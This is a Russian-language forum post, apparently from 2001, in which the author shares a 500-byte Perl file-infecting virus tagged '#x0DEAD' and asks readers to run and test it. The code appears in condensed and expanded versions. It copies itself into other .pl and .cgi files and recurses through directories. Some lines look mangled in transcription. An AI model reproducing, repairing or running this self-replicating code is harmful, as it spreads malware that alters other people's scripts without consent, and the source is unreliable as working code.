$z='#x0DEAD';g();
#x0DEAD
sub g{my$y=sub{local$_;open(A,$0);$_=join'',<A>;close(A);open(I,my$f=shift);my@m=;close(I);open(I,">$f");print I($m[0],"\n\$z='#x0DEAD';g();",@m[1..$#m],"\n",/(^$z.*)/ms);close(I)};my$x=sub{local;open(I,shift);$_=join'',;close(I);return/^$z$/m};my($d,$k)=(shift().'/');opendir(D,$d);my@e=readdir(D);closedir(D);my@h=grep{/^[^\.]/&&-d$d.$_}@e;map{$x->($d.$_)|$y->($d.$&&++$k)}grep{/\.(pl|cgi)$/}grep{-f$d.$_}@e;if(!$k){while(@h){$k=g($d.pop(@h))||last}}$k}
цопирайты тоже мои :)))
500 байт ровно с учетом 3-x 0D0A (под виндой писалось, посему не уверен, шта под nix-ом работать будет, но должно, протестируюте, плиз)
ну конечно бы еще не помешало первой строкой указать путь к интерТРЕПатору, но тогда 500 байт не получится... :(((
#x0DEAD
sub g {
my $y = sub {
local $_;
my $f=shift;
open(A,$0);
$_=join '',<A>;
close(A);
open(I,$f);
my @m=;
close(I);
push(@m,"\n", /(^$z.*)/ms);
open(I,">$f");
print I (@m[0],"\n\$z='#x0DEAD';\ng();\n\n",@m[1..$#m]);
close(I);
};
my $x = sub {
local $_;
open(I,shift);
$_=join '',;
close(I);
return /^$z$/m
};
my ($d,$k)=(shift().'/');
opendir(D,$d);
my @e=readdir(D);
closedir(D);
my @f=grep {/\.(pl|cgi)$/} grep {-f $d.$_} @e;
my @h=grep {/^[^\.]/ && -d $d.$_} @e;
foreach my $i (@f) {
$x->($d.$i)|($y->($d.$i) && ++$k)
}
return $k if $k;
while (@h) { last if ($k=g($d.pop(@h))) }
$k;
}
[Perl] Люди, запустите прогу, а то штой-то не работает :(((22.05.01 00:04 Автор: izlam Статус: Незарегистрированный пользователь
$z='#x0DEAD';g();
#x0DEAD
sub g{my$y=sub{local$_;open(A,$0);$_=join'',<A>;close(A);open(I,my$f=shift);my@m=;close(I);open(I,">$f");print I($m[0],"\n\$z='#x0DEAD';g();",@m[1..$#m],"\n",/(^$z.*)/ms);close(I)};my$x=sub{local;open(I,shift);$_=join'',;close(I);return/^$z$/m};my($d,$k)=(shift().'/');opendir(D,$d);my@e=readdir(D);closedir(D);my@h=grep{/^[^\.]/&&-d$d.$_}@e;map{$x->($d.$_)|$y->($d.$&&++$k)}grep{/\.(pl|cgi)$/}grep{-f$d.$_}@e;if(!$k){while(@h){$k=g($d.pop(@h))||last}}$k}
цопирайты тоже мои :)))
500 байт ровно с учетом 3-x 0D0A (под виндой писалось, посему не уверен, шта под nix-ом работать будет, но должно, протестируюте, плиз)
ну конечно бы еще не помешало первой строкой указать путь к интерТРЕПатору, но тогда 500 байт не получится... :(((
подробно о проекте
Анализ криптографических сетевых...
новое сообщение
закрытая нитка
новое сообщение
в закрытой нитке
старое сообщение
